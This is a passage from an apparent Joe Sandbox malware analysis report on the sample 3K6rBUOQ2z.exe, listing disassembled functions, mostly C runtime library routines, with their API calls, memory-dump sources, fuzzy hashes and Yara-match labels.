Opcode Fuzzy Hash: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction Fuzzy Hash: 25115479940B08AAF520EB70CC47FCF7B9CEF457C1F400819B29D76097DA75B6484AA1

Function 00417082 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041704A: _free.LIBCMT ref: 0041706F

_free.LIBCMT ref: 004170D0

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 004170DB
_free.LIBCMT ref: 004170E6
_free.LIBCMT ref: 0041713A
_free.LIBCMT ref: 00417145
_free.LIBCMT ref: 00417150
_free.LIBCMT ref: 0041715B

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction ID: 17f1ba636a3ac0ac971b1a3f484e478362915a153c89e36741bf365215ef3bb6
Opcode Fuzzy Hash: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction Fuzzy Hash: 9C118EB2585744B6D520B772CC06FCB7BEC6F48304F40481FB69E66063EA2CAAC04645

Function 04B57F3A Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,00000000), ref: 04B57F82
__fassign.LIBCMT ref: 04B58161
__fassign.LIBCMT ref: 04B5817E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B581C6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B58206
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B582B2

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction ID: 8606dff038d5312d631dc210a50766c7e4134fa67084ac058c82fc762aa38f79
Opcode Fuzzy Hash: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction Fuzzy Hash: ACD1C970E016489FDF11DFE8D880AEDFBB5FF48304F2840AAE815BB261D631A952CB50

Function 00417CD3 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000020,00000000,00000000), ref: 00417D1B
__fassign.LIBCMT ref: 00417EFA
__fassign.LIBCMT ref: 00417F17
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F5F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00417F9F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041804B

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction ID: bf6bde338aaa4c5312f696cbfa7b8c1c2da82e764b9ff6896d8d464e3c4a4b13
Opcode Fuzzy Hash: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction Fuzzy Hash: 13D19C71E042589FCF15CFA8C9809EEBBB5FF49314F29006AE815BB341D735A986CB58

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 32d4bb0d0fb78e9b700753294cc147154fce03c70a5209c95aaa7034331b4c1e
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 32d4bb0d0fb78e9b700753294cc147154fce03c70a5209c95aaa7034331b4c1e
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 04B4B00B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B4B002,04B4A5C6,04B49C00), ref: 04B4B019
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B4B027
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B4B040
SetLastError.KERNEL32(00000000,04B4B002,04B4A5C6,04B49C00), ref: 04B4B092

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: 5d97d5de8773b9d009742cf9eef0d20d8d296e21d72a888fe39dd23c57b746e0
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 9D01AC3270D3116FBB346FB47C849762B54EB8167A72102B9F724562E1EF59F8127144

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 0040ADA4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040AD9B,0040A35F,00409999), ref: 0040ADB2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040ADC0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040ADD9
SetLastError.KERNEL32(00000000,0040AD9B,0040A35F,00409999), ref: 0040AE2B

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: f4b61bc4878066cd9e5532c4ff7823403916b0aca9ffed94e046062e6da044f3
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6201D8722493125FE6342A76BC459572A54EB51779720033FF910B71E2EF3D4C32558E

Function 04CF4F18 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 04CF4F66
_free.LIBCMT ref: 04CF50B2

Strings

*?, xrefs: 04CF4F5B

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction ID: 74ce9c3951af57ab81168c2b549ef3ab89f4257994a153330f65b8d48fe9ed26
Opcode Fuzzy Hash: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction Fuzzy Hash: 26615075E00219AFDB14CFA9C8809EEFBF6EF48314B258169DA05E7301E775BE418B90

Function 04B55D7F Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 04B55DCD
_free.LIBCMT ref: 04B55F19

Strings

*?, xrefs: 04B55DC2

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction ID: 1b74f13dbcba2150a1fd9868d0adae7fc2dc7661cc718da73cb4b4ef5f34790c
Opcode Fuzzy Hash: 9801757e2809db45aacd2951d7023101c81a7ef7fa1d77123c738ef8fc315dd7
Instruction Fuzzy Hash: 3E615F75E00219AFDF24DFA8C8806EDFBF5EF48314B1585AAE815F7354D631AE418B90

Function 00415B18 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 00415B66
_free.LIBCMT ref: 00415CB2

Strings

*?, xrefs: 00415B5B

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 0b6f9c8e298a88ef6bfcf1d60ea57791d65df11c988ce29e8962c90e9ece18a3
Instruction ID: 08919aac2af5baaa0bc26bb502442345b411eba09a4371073371dd33b5eb5490
Opcode Fuzzy Hash: 0b6f9c8e298a88ef6bfcf1d60ea57791d65df11c988ce29e8962c90e9ece18a3
Instruction Fuzzy Hash: 34613F75E00619DFCB14CFA9C8815EEFBF5EF88354B24816AE815F7300E675AE818B94

Function 04B56383 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\3K6rBUOQ2z.exe, xrefs: 04B56388

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\3K6rBUOQ2z.exe
API String ID: 0-2708042248
Opcode ID: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction ID: f552e073e65239589d6095b5991a64c7f020a132d82bace3d2b8a8f69f5e1887
Opcode Fuzzy Hash: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction Fuzzy Hash: 7221D471600105BFEB20BF698C80E6BB7ADEF402A874185A4FD2DC7260E731FC519760

Function 10008336 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\3K6rBUOQ2z.exe, xrefs: 1000833B

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\3K6rBUOQ2z.exe
API String ID: 0-2708042248
Opcode ID: ddfca3805b10fb0c405c12195d97b130fb222a2330a05fb996068ff6147a541c
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: ddfca3805b10fb0c405c12195d97b130fb222a2330a05fb996068ff6147a541c
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 0040BE17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0040BED8,?,?,0042B000,00000000,?,0040C003,00000004,InitializeCriticalSectionEx,0041EAF4,InitializeCriticalSectionEx,00000000), ref: 0040BEA7

Strings

api-ms-, xrefs: 0040BE67

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: 1d2ba87bd7351691bab4046b775a4f225d6c09ed93031ba1482b23a36008251d
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: 1B11C135A41620ABCB228B68DC45BDA7794EF02760F114632EE05B73C0D778EC058ADD

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 0040EF4F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040EF44,?,?,0040EF0C,00000000,771ADF80,?), ref: 0040EF64
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040EF77
FreeLibrary.KERNEL32(00000000,?,?,0040EF44,?,?,0040EF0C,00000000,771ADF80,?), ref: 0040EF9A

Strings

mscoree.dll, xrefs: 0040EF5D
CorExitProcess, xrefs: 0040EF6F

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction ID: a9aeb9bb373945a448fb4c2f2a76f55d061337ba3b70deabe2e5838c542f66b1
Opcode Fuzzy Hash: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction Fuzzy Hash: E0F0A070A0421AFBCB119B52ED09BDEBF78EF00759F144071F905B21A0CB788E11DB98

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 8cc199d558b997503fdcee74a17b35d0cfef9a10842a3a6720ec3a40d10b29e0
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 8cc199d558b997503fdcee74a17b35d0cfef9a10842a3a6720ec3a40d10b29e0
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 04CF2AA0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04CF2B24
__alloca_probe_16.LIBCMT ref: 04CF2BEA
__freea.LIBCMT ref: 04CF2C56
__freea.LIBCMT ref: 04CF2C5F
__freea.LIBCMT ref: 04CF2C82

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction ID: f2b5e5426fedb8598fc76fae10d55257e5a04a8e30a18f0e2ceb2f17756af3bc
Opcode Fuzzy Hash: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction Fuzzy Hash: 5C51F576600206ABFF605F658C81EBB3BABDF44754F1901A8FE05D7140E73AFD11A6A0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: e63f2a8978e00137fdd1d9a780ebd3875915c182c7a46276be8a26015b9944ff
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: e63f2a8978e00137fdd1d9a780ebd3875915c182c7a46276be8a26015b9944ff
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 004136A0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00413724
__alloca_probe_16.LIBCMT ref: 004137EA
__freea.LIBCMT ref: 00413856

Part of subcall function 0041249E: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

__freea.LIBCMT ref: 0041385F
__freea.LIBCMT ref: 00413882

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction ID: 356f55c8d52bf468307c9bd9aee3ed648f54657124d7a114e97aef17e3d97ec8
Opcode Fuzzy Hash: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction Fuzzy Hash: 6151D3B2600206ABEF20AF55CC41EEB36E9EF44755F15412EFD18E7290D738DE9186A8

Function 04B42BB7 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B42C5F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B42C74
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B42C82
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B42C9D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B42CBC

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction ID: 8e0c3b542556c10dfa7e3922ea7325ac6b0ed9a3e589e4877d3c30077f841730
Opcode Fuzzy Hash: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction Fuzzy Hash: 71310471B00014AFDB18DF68DC45FBAB768EF88704F0541E9F905EB252DB31A912EB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 04CF63E1 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04CF63F9
_free.LIBCMT ref: 04CF640B
_free.LIBCMT ref: 04CF641D
_free.LIBCMT ref: 04CF642F
_free.LIBCMT ref: 04CF6441

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: d3862564c1c448d0eb3923a45cdf49f18f6833f21556cac3654b71cf7d9cec13
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: F6F06872701100A785A4EF5DEC86C1677DBAB00720BA48819F544D7503CB3DF9529655

Function 04B57248 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 04B57260
